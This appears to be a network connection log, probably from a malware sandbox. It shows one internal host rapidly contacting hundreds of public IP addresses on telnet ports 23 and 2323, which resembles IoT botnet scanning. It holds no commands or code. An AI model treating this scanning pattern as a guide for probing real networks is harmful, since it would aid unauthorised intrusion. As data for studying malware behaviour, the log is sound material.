Nov 3, 2024 15:33:13.281908989 CET	4833	23	192.168.2.14	155.202.239.89
Nov 3, 2024 15:33:13.281909943 CET	4833	23	192.168.2.14	104.187.80.30
Nov 3, 2024 15:33:13.281908989 CET	4833	23	192.168.2.14	192.44.171.98
Nov 3, 2024 15:33:13.281909943 CET	4833	23	192.168.2.14	14.126.152.82
Nov 3, 2024 15:33:13.281909943 CET	4833	23	192.168.2.14	46.165.183.40
Nov 3, 2024 15:33:13.281914949 CET	4833	23	192.168.2.14	189.30.133.100
Nov 3, 2024 15:33:13.281928062 CET	4833	23	192.168.2.14	122.23.57.48
Nov 3, 2024 15:33:13.281933069 CET	4833	23	192.168.2.14	102.234.95.18
Nov 3, 2024 15:33:13.281934023 CET	4833	23	192.168.2.14	195.66.248.87
Nov 3, 2024 15:33:13.281934023 CET	4833	23	192.168.2.14	99.212.188.178
Nov 3, 2024 15:33:13.281934023 CET	4833	23	192.168.2.14	139.155.28.86
Nov 3, 2024 15:33:13.281934977 CET	4833	23	192.168.2.14	172.152.73.99
Nov 3, 2024 15:33:13.281934977 CET	4833	23	192.168.2.14	102.187.58.207
Nov 3, 2024 15:33:13.281938076 CET	4833	23	192.168.2.14	82.253.57.175
Nov 3, 2024 15:33:13.281934977 CET	4833	23	192.168.2.14	178.230.151.74
Nov 3, 2024 15:33:13.281938076 CET	4833	23	192.168.2.14	103.106.96.81
Nov 3, 2024 15:33:13.281934977 CET	4833	23	192.168.2.14	53.202.238.114
Nov 3, 2024 15:33:13.281936884 CET	4833	23	192.168.2.14	63.106.129.195
Nov 3, 2024 15:33:13.281960964 CET	4833	23	192.168.2.14	61.9.120.195
Nov 3, 2024 15:33:13.281960964 CET	4833	23	192.168.2.14	37.155.105.31
Nov 3, 2024 15:33:13.281960964 CET	4833	23	192.168.2.14	154.37.215.139
Nov 3, 2024 15:33:13.281966925 CET	4833	23	192.168.2.14	13.121.186.227
Nov 3, 2024 15:33:13.281966925 CET	4833	23	192.168.2.14	116.65.53.128
Nov 3, 2024 15:33:13.281968117 CET	4833	23	192.168.2.14	194.71.36.124
Nov 3, 2024 15:33:13.281968117 CET	4833	23	192.168.2.14	40.54.22.214
Nov 3, 2024 15:33:13.281968117 CET	4833	23	192.168.2.14	161.135.17.37
Nov 3, 2024 15:33:13.281968117 CET	4833	23	192.168.2.14	13.119.213.69
Nov 3, 2024 15:33:13.281968117 CET	4833	2323	192.168.2.14	196.232.163.55
Nov 3, 2024 15:33:13.281968117 CET	4833	23	192.168.2.14	82.173.52.118
Nov 3, 2024 15:33:13.281970024 CET	4833	23	192.168.2.14	152.100.231.237
Nov 3, 2024 15:33:13.281970978 CET	4833	2323	192.168.2.14	217.211.230.152
Nov 3, 2024 15:33:13.281970978 CET	4833	23	192.168.2.14	4.98.95.93
Nov 3, 2024 15:33:13.281970978 CET	4833	23	192.168.2.14	91.43.24.28
Nov 3, 2024 15:33:13.281975985 CET	4833	23	192.168.2.14	135.6.108.114
Nov 3, 2024 15:33:13.281981945 CET	4833	23	192.168.2.14	116.148.0.41
Nov 3, 2024 15:33:13.281981945 CET	4833	23	192.168.2.14	136.246.212.84
Nov 3, 2024 15:33:13.281991005 CET	4833	2323	192.168.2.14	155.210.32.56
Nov 3, 2024 15:33:13.281992912 CET	4833	23	192.168.2.14	200.134.10.87
Nov 3, 2024 15:33:13.281992912 CET	4833	23	192.168.2.14	48.165.228.45
Nov 3, 2024 15:33:13.281992912 CET	4833	23	192.168.2.14	83.236.249.51
Nov 3, 2024 15:33:13.281995058 CET	4833	23	192.168.2.14	124.9.29.173
Nov 3, 2024 15:33:13.281992912 CET	4833	23	192.168.2.14	110.192.237.225
Nov 3, 2024 15:33:13.282020092 CET	4833	23	192.168.2.14	147.16.213.45
Nov 3, 2024 15:33:13.282020092 CET	4833	23	192.168.2.14	74.168.58.186
Nov 3, 2024 15:33:13.282020092 CET	4833	23	192.168.2.14	17.18.145.160
Nov 3, 2024 15:33:13.282021999 CET	4833	23	192.168.2.14	105.99.77.83
Nov 3, 2024 15:33:13.282022953 CET	4833	23	192.168.2.14	53.247.68.32
Nov 3, 2024 15:33:13.282022953 CET	4833	23	192.168.2.14	121.140.240.145
Nov 3, 2024 15:33:13.282022953 CET	4833	2323	192.168.2.14	173.215.36.151
Nov 3, 2024 15:33:13.282023907 CET	4833	23	192.168.2.14	80.225.173.17
Nov 3, 2024 15:33:13.282023907 CET	4833	23	192.168.2.14	77.185.222.195
Nov 3, 2024 15:33:13.282023907 CET	4833	2323	192.168.2.14	90.7.154.32
Nov 3, 2024 15:33:13.282023907 CET	4833	23	192.168.2.14	96.183.128.192
Nov 3, 2024 15:33:13.282022953 CET	4833	23	192.168.2.14	38.206.82.150
Nov 3, 2024 15:33:13.282023907 CET	4833	23	192.168.2.14	92.16.113.32
Nov 3, 2024 15:33:13.282054901 CET	4833	23	192.168.2.14	77.234.172.63
Nov 3, 2024 15:33:13.282057047 CET	4833	23	192.168.2.14	133.255.147.3
Nov 3, 2024 15:33:13.282058001 CET	4833	2323	192.168.2.14	170.136.219.253
Nov 3, 2024 15:33:13.282058001 CET	4833	23	192.168.2.14	179.116.184.33
Nov 3, 2024 15:33:13.282058954 CET	4833	23	192.168.2.14	196.218.107.86
Nov 3, 2024 15:33:13.282058001 CET	4833	23	192.168.2.14	27.4.179.29
Nov 3, 2024 15:33:13.282058954 CET	4833	23	192.168.2.14	20.235.66.117
Nov 3, 2024 15:33:13.282062054 CET	4833	23	192.168.2.14	181.111.39.164
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	167.90.20.126
Nov 3, 2024 15:33:13.282058954 CET	4833	23	192.168.2.14	209.82.143.128
Nov 3, 2024 15:33:13.282058001 CET	4833	23	192.168.2.14	106.119.115.150
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	92.142.148.65
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	76.149.183.98
Nov 3, 2024 15:33:13.282062054 CET	4833	2323	192.168.2.14	79.246.212.43
Nov 3, 2024 15:33:13.282058001 CET	4833	23	192.168.2.14	210.129.73.91
Nov 3, 2024 15:33:13.282062054 CET	4833	23	192.168.2.14	48.253.14.54
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	65.149.144.51
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	213.237.57.188
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	53.116.137.55
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	149.43.210.96
Nov 3, 2024 15:33:13.282059908 CET	4833	23	192.168.2.14	45.197.134.24
Nov 3, 2024 15:33:13.282073975 CET	4833	23	192.168.2.14	111.11.34.80
Nov 3, 2024 15:33:13.282074928 CET	4833	23	192.168.2.14	123.0.208.187
Nov 3, 2024 15:33:13.282074928 CET	4833	23	192.168.2.14	123.193.14.216
Nov 3, 2024 15:33:13.282074928 CET	4833	23	192.168.2.14	126.116.77.221
Nov 3, 2024 15:33:13.282079935 CET	4833	23	192.168.2.14	47.248.143.41
Nov 3, 2024 15:33:13.282082081 CET	4833	23	192.168.2.14	200.31.13.128
Nov 3, 2024 15:33:13.282094002 CET	4833	23	192.168.2.14	108.10.117.171
Nov 3, 2024 15:33:13.286611080 CET	2323	4833	18.157.31.75	192.168.2.14
Nov 3, 2024 15:33:13.286622047 CET	23	4833	39.42.54.160	192.168.2.14
Nov 3, 2024 15:33:13.286655903 CET	4833	2323	192.168.2.14	18.157.31.75
Nov 3, 2024 15:33:13.286660910 CET	4833	23	192.168.2.14	39.42.54.160
Nov 3, 2024 15:33:13.286720991 CET	23	40868	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:13.286777973 CET	40868	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:13.286847115 CET	23	55236	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:13.287100077 CET	41062	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:13.287476063 CET	55236	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:13.287755013 CET	55434	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:13.291773081 CET	23	40868	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:13.292402029 CET	23	55236	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:13.293826103 CET	37215	36236	41.118.174.98	192.168.2.14
Nov 3, 2024 15:33:13.302006006 CET	37215	54134	41.149.194.71	192.168.2.14
Nov 3, 2024 15:33:13.514595985 CET	23	46854	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.514693022 CET	46854	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.515069962 CET	46980	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.519419909 CET	23	46854	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.519933939 CET	23	46980	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.519975901 CET	46980	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.524859905 CET	23	46980	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.524916887 CET	46980	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.525216103 CET	46982	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.529665947 CET	23	46980	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.529989004 CET	23	46982	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.530039072 CET	46982	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.535260916 CET	23	46982	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.535331011 CET	46982	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.535617113 CET	46984	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.540489912 CET	23	46982	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.540838003 CET	23	46984	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.540880919 CET	46984	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.545927048 CET	23	46984	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.545984983 CET	46984	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.546274900 CET	46986	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.550821066 CET	23	46984	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.551079035 CET	23	46986	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.551129103 CET	46986	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.556140900 CET	23	46986	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.556212902 CET	46986	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.556478024 CET	46988	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.560998917 CET	23	46986	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.561249971 CET	23	46988	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.561291933 CET	46988	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.566373110 CET	23	46988	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.566436052 CET	46988	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.566715002 CET	46990	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.571242094 CET	23	46988	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.571603060 CET	23	46990	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.571645975 CET	46990	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.576663017 CET	23	46990	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.576725960 CET	46990	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.577017069 CET	46992	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.581538916 CET	23	46990	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.581765890 CET	23	46992	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.581809998 CET	46992	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.586867094 CET	23	46992	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.586932898 CET	46992	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.587207079 CET	46994	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.591888905 CET	23	46992	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.591969013 CET	23	46994	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.592011929 CET	46994	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.597104073 CET	23	46994	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.597160101 CET	46994	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.597469091 CET	46996	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.601954937 CET	23	46994	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.602258921 CET	23	46996	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.602303028 CET	46996	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.607332945 CET	23	46996	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.607395887 CET	46996	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.607676983 CET	46998	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.612209082 CET	23	46996	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.612416983 CET	23	46998	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.612457037 CET	46998	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.617563009 CET	23	46998	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.617616892 CET	46998	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.617891073 CET	47000	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.622456074 CET	23	46998	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.622736931 CET	23	47000	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:13.622785091 CET	47000	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:13.745069981 CET	23	37526	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:13.745198011 CET	37526	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:13.745532036 CET	37658	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:13.750199080 CET	23	37526	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:13.750852108 CET	23	37658	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:13.750900030 CET	37658	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:13.762485027 CET	23	58326	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:13.762557983 CET	58326	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:13.762850046 CET	59406	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:13.767477036 CET	23	58326	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:13.767703056 CET	23	59406	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:13.767745972 CET	59406	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:13.772785902 CET	23	59406	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:13.772840977 CET	59406	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:13.773124933 CET	59408	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:13.777647018 CET	23	59406	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:13.777945042 CET	23	59408	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:13.777981043 CET	59408	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:13.796554089 CET	23	43492	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:13.796622992 CET	43492	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:13.796899080 CET	43620	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:13.801512957 CET	23	43492	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:13.802684069 CET	23	43620	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:13.802723885 CET	43620	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:13.896759033 CET	2323	36900	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:13.896857977 CET	36900	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:13.897214890 CET	38196	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:13.901629925 CET	2323	36900	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:13.902077913 CET	2323	38196	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:13.902124882 CET	38196	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:13.950575113 CET	23	53076	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:13.950647116 CET	53076	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:13.950932980 CET	54034	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:13.955495119 CET	23	53076	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:13.955775023 CET	23	54034	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:13.955821037 CET	54034	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:14.204658031 CET	58138	23	192.168.2.14	110.213.57.104
Nov 3, 2024 15:33:14.204658985 CET	41986	23	192.168.2.14	86.73.189.68
Nov 3, 2024 15:33:14.204658985 CET	37040	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:14.204664946 CET	38182	23	192.168.2.14	136.149.88.103
Nov 3, 2024 15:33:14.204665899 CET	33594	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.204667091 CET	51118	23	192.168.2.14	98.193.235.40
Nov 3, 2024 15:33:14.204667091 CET	57328	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:14.209777117 CET	23	38182	136.149.88.103	192.168.2.14
Nov 3, 2024 15:33:14.209788084 CET	23	58138	110.213.57.104	192.168.2.14
Nov 3, 2024 15:33:14.209796906 CET	23	51118	98.193.235.40	192.168.2.14
Nov 3, 2024 15:33:14.209824085 CET	38182	23	192.168.2.14	136.149.88.103
Nov 3, 2024 15:33:14.209839106 CET	58138	23	192.168.2.14	110.213.57.104
Nov 3, 2024 15:33:14.209841967 CET	51118	23	192.168.2.14	98.193.235.40
Nov 3, 2024 15:33:14.209906101 CET	23	41986	86.73.189.68	192.168.2.14
Nov 3, 2024 15:33:14.209917068 CET	23	33594	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.209918976 CET	4833	2323	192.168.2.14	86.164.13.141
Nov 3, 2024 15:33:14.209925890 CET	2323	57328	73.112.49.94	192.168.2.14
Nov 3, 2024 15:33:14.209927082 CET	4833	23	192.168.2.14	83.132.96.178
Nov 3, 2024 15:33:14.209934950 CET	23	37040	68.152.187.162	192.168.2.14
Nov 3, 2024 15:33:14.209942102 CET	4833	23	192.168.2.14	136.14.210.137
Nov 3, 2024 15:33:14.209953070 CET	41986	23	192.168.2.14	86.73.189.68
Nov 3, 2024 15:33:14.209958076 CET	57328	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:14.209960938 CET	33594	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.209964037 CET	37040	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:14.209988117 CET	4833	23	192.168.2.14	158.144.56.112
Nov 3, 2024 15:33:14.209991932 CET	4833	23	192.168.2.14	202.194.221.233
Nov 3, 2024 15:33:14.210002899 CET	4833	23	192.168.2.14	177.224.9.253
Nov 3, 2024 15:33:14.210010052 CET	4833	23	192.168.2.14	167.183.12.91
Nov 3, 2024 15:33:14.210021019 CET	4833	23	192.168.2.14	17.64.226.132
Nov 3, 2024 15:33:14.210022926 CET	4833	23	192.168.2.14	36.143.157.165
Nov 3, 2024 15:33:14.210024118 CET	4833	23	192.168.2.14	68.86.66.178
Nov 3, 2024 15:33:14.210028887 CET	4833	23	192.168.2.14	93.172.13.191
Nov 3, 2024 15:33:14.210031033 CET	4833	2323	192.168.2.14	40.69.60.118
Nov 3, 2024 15:33:14.210036039 CET	4833	23	192.168.2.14	180.213.176.33
Nov 3, 2024 15:33:14.210036993 CET	4833	23	192.168.2.14	54.122.239.80
Nov 3, 2024 15:33:14.210046053 CET	4833	23	192.168.2.14	189.5.15.255
Nov 3, 2024 15:33:14.210052013 CET	4833	23	192.168.2.14	4.147.127.33
Nov 3, 2024 15:33:14.210058928 CET	4833	23	192.168.2.14	91.240.204.118
Nov 3, 2024 15:33:14.210058928 CET	4833	23	192.168.2.14	171.64.119.218
Nov 3, 2024 15:33:14.210058928 CET	4833	23	192.168.2.14	106.92.164.239
Nov 3, 2024 15:33:14.210064888 CET	4833	2323	192.168.2.14	218.88.218.82
Nov 3, 2024 15:33:14.210071087 CET	4833	23	192.168.2.14	161.103.233.55
Nov 3, 2024 15:33:14.210072994 CET	4833	23	192.168.2.14	135.210.176.49
Nov 3, 2024 15:33:14.210073948 CET	4833	23	192.168.2.14	180.49.31.77
Nov 3, 2024 15:33:14.210074902 CET	4833	23	192.168.2.14	36.72.45.42
Nov 3, 2024 15:33:14.210091114 CET	4833	23	192.168.2.14	130.228.132.93
Nov 3, 2024 15:33:14.210091114 CET	4833	23	192.168.2.14	70.193.37.144
Nov 3, 2024 15:33:14.210099936 CET	4833	23	192.168.2.14	204.129.37.250
Nov 3, 2024 15:33:14.210103989 CET	4833	23	192.168.2.14	216.120.240.82
Nov 3, 2024 15:33:14.210103989 CET	4833	23	192.168.2.14	194.195.221.21
Nov 3, 2024 15:33:14.210114956 CET	4833	23	192.168.2.14	44.158.75.154
Nov 3, 2024 15:33:14.210124016 CET	4833	2323	192.168.2.14	71.255.34.7
Nov 3, 2024 15:33:14.210134029 CET	4833	23	192.168.2.14	186.162.117.236
Nov 3, 2024 15:33:14.210135937 CET	4833	23	192.168.2.14	120.41.130.152
Nov 3, 2024 15:33:14.210138083 CET	4833	23	192.168.2.14	193.124.10.215
Nov 3, 2024 15:33:14.210146904 CET	4833	23	192.168.2.14	85.154.163.88
Nov 3, 2024 15:33:14.210153103 CET	4833	23	192.168.2.14	76.5.132.17
Nov 3, 2024 15:33:14.210164070 CET	4833	23	192.168.2.14	217.79.10.247
Nov 3, 2024 15:33:14.210164070 CET	4833	23	192.168.2.14	18.255.94.127
Nov 3, 2024 15:33:14.210169077 CET	4833	23	192.168.2.14	208.39.68.214
Nov 3, 2024 15:33:14.210171938 CET	4833	23	192.168.2.14	1.7.27.140
Nov 3, 2024 15:33:14.210171938 CET	4833	23	192.168.2.14	18.134.50.88
Nov 3, 2024 15:33:14.210176945 CET	4833	2323	192.168.2.14	40.186.114.138
Nov 3, 2024 15:33:14.210182905 CET	4833	23	192.168.2.14	192.64.105.83
Nov 3, 2024 15:33:14.210206985 CET	4833	23	192.168.2.14	73.216.163.247
Nov 3, 2024 15:33:14.210206985 CET	4833	23	192.168.2.14	87.86.24.163
Nov 3, 2024 15:33:14.210206985 CET	4833	23	192.168.2.14	154.176.253.96
Nov 3, 2024 15:33:14.210213900 CET	4833	23	192.168.2.14	156.199.48.250
Nov 3, 2024 15:33:14.210213900 CET	4833	2323	192.168.2.14	103.141.238.53
Nov 3, 2024 15:33:14.210227013 CET	4833	23	192.168.2.14	34.164.191.130
Nov 3, 2024 15:33:14.210227013 CET	4833	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:14.210227966 CET	4833	23	192.168.2.14	202.239.225.212
Nov 3, 2024 15:33:14.210228920 CET	4833	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:14.210228920 CET	4833	23	192.168.2.14	72.182.101.82
Nov 3, 2024 15:33:14.210228920 CET	4833	23	192.168.2.14	2.17.212.94
Nov 3, 2024 15:33:14.210233927 CET	4833	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:14.210233927 CET	4833	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:14.210233927 CET	4833	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:14.210242033 CET	4833	23	192.168.2.14	27.100.149.177
Nov 3, 2024 15:33:14.210243940 CET	4833	23	192.168.2.14	91.49.197.220
Nov 3, 2024 15:33:14.210247040 CET	4833	23	192.168.2.14	87.165.32.62
Nov 3, 2024 15:33:14.210251093 CET	4833	23	192.168.2.14	93.27.95.136
Nov 3, 2024 15:33:14.210251093 CET	4833	23	192.168.2.14	121.124.244.240
Nov 3, 2024 15:33:14.210264921 CET	4833	2323	192.168.2.14	87.209.65.128
Nov 3, 2024 15:33:14.210267067 CET	4833	23	192.168.2.14	111.0.117.120
Nov 3, 2024 15:33:14.210268021 CET	4833	23	192.168.2.14	69.225.245.168
Nov 3, 2024 15:33:14.210268974 CET	4833	23	192.168.2.14	164.196.119.129
Nov 3, 2024 15:33:14.210268974 CET	4833	23	192.168.2.14	35.234.147.37
Nov 3, 2024 15:33:14.210268974 CET	4833	23	192.168.2.14	159.166.224.229
Nov 3, 2024 15:33:14.210268974 CET	4833	23	192.168.2.14	178.41.12.127
Nov 3, 2024 15:33:14.210270882 CET	4833	23	192.168.2.14	91.48.151.105
Nov 3, 2024 15:33:14.210270882 CET	4833	23	192.168.2.14	135.126.87.69
Nov 3, 2024 15:33:14.210272074 CET	4833	23	192.168.2.14	183.80.62.221
Nov 3, 2024 15:33:14.210294008 CET	4833	23	192.168.2.14	196.245.123.140
Nov 3, 2024 15:33:14.210294008 CET	4833	23	192.168.2.14	176.166.78.92
Nov 3, 2024 15:33:14.210294008 CET	4833	23	192.168.2.14	47.65.3.85
Nov 3, 2024 15:33:14.210297108 CET	4833	23	192.168.2.14	71.100.202.129
Nov 3, 2024 15:33:14.210297108 CET	4833	23	192.168.2.14	181.99.53.212
Nov 3, 2024 15:33:14.210297108 CET	4833	23	192.168.2.14	208.150.65.9
Nov 3, 2024 15:33:14.210298061 CET	4833	23	192.168.2.14	14.193.167.147
Nov 3, 2024 15:33:14.210297108 CET	4833	23	192.168.2.14	174.198.25.236
Nov 3, 2024 15:33:14.210298061 CET	4833	23	192.168.2.14	208.251.195.30
Nov 3, 2024 15:33:14.210297108 CET	4833	23	192.168.2.14	128.33.180.206
Nov 3, 2024 15:33:14.210299015 CET	4833	2323	192.168.2.14	101.195.174.253
Nov 3, 2024 15:33:14.210298061 CET	4833	23	192.168.2.14	217.153.131.94
Nov 3, 2024 15:33:14.210299015 CET	4833	23	192.168.2.14	123.115.31.244
Nov 3, 2024 15:33:14.210313082 CET	4833	23	192.168.2.14	106.61.122.252
Nov 3, 2024 15:33:14.210318089 CET	4833	23	192.168.2.14	185.181.160.42
Nov 3, 2024 15:33:14.210318089 CET	4833	23	192.168.2.14	123.14.167.72
Nov 3, 2024 15:33:14.210318089 CET	4833	23	192.168.2.14	31.26.55.250
Nov 3, 2024 15:33:14.210319042 CET	4833	23	192.168.2.14	222.134.24.103
Nov 3, 2024 15:33:14.210319996 CET	4833	23	192.168.2.14	73.240.150.207
Nov 3, 2024 15:33:14.210320950 CET	4833	23	192.168.2.14	63.101.36.200
Nov 3, 2024 15:33:14.210320950 CET	4833	2323	192.168.2.14	24.45.196.146
Nov 3, 2024 15:33:14.210320950 CET	4833	23	192.168.2.14	46.230.66.104
Nov 3, 2024 15:33:14.210338116 CET	4833	23	192.168.2.14	155.153.145.128
Nov 3, 2024 15:33:14.210340023 CET	4833	2323	192.168.2.14	79.26.101.99
Nov 3, 2024 15:33:14.210340023 CET	4833	23	192.168.2.14	152.249.131.204
Nov 3, 2024 15:33:14.210345030 CET	4833	23	192.168.2.14	206.48.80.51
Nov 3, 2024 15:33:14.210345030 CET	4833	23	192.168.2.14	198.63.13.197
Nov 3, 2024 15:33:14.210345030 CET	4833	23	192.168.2.14	220.84.183.71
Nov 3, 2024 15:33:14.210345030 CET	4833	23	192.168.2.14	122.17.172.75
Nov 3, 2024 15:33:14.210345030 CET	4833	23	192.168.2.14	59.159.108.149
Nov 3, 2024 15:33:14.210357904 CET	4833	23	192.168.2.14	93.184.205.48
Nov 3, 2024 15:33:14.210367918 CET	4833	23	192.168.2.14	148.216.24.79
Nov 3, 2024 15:33:14.210369110 CET	4833	23	192.168.2.14	60.81.199.98
Nov 3, 2024 15:33:14.210369110 CET	4833	2323	192.168.2.14	134.254.212.78
Nov 3, 2024 15:33:14.210369110 CET	4833	23	192.168.2.14	217.204.170.224
Nov 3, 2024 15:33:14.210371971 CET	4833	23	192.168.2.14	42.232.219.206
Nov 3, 2024 15:33:14.210371971 CET	4833	23	192.168.2.14	172.47.123.126
Nov 3, 2024 15:33:14.210372925 CET	4833	23	192.168.2.14	161.147.43.168
Nov 3, 2024 15:33:14.210372925 CET	4833	23	192.168.2.14	217.71.254.82
Nov 3, 2024 15:33:14.210391045 CET	4833	23	192.168.2.14	71.41.208.133
Nov 3, 2024 15:33:14.210391998 CET	4833	23	192.168.2.14	163.109.134.191
Nov 3, 2024 15:33:14.210395098 CET	4833	23	192.168.2.14	70.147.109.229
Nov 3, 2024 15:33:14.210396051 CET	4833	23	192.168.2.14	34.166.193.255
Nov 3, 2024 15:33:14.210396051 CET	4833	2323	192.168.2.14	44.86.196.248
Nov 3, 2024 15:33:14.210396051 CET	4833	23	192.168.2.14	157.115.51.101
Nov 3, 2024 15:33:14.210396051 CET	4833	23	192.168.2.14	196.121.85.58
Nov 3, 2024 15:33:14.210397005 CET	4833	2323	192.168.2.14	19.45.139.219
Nov 3, 2024 15:33:14.210397005 CET	4833	23	192.168.2.14	53.212.96.247
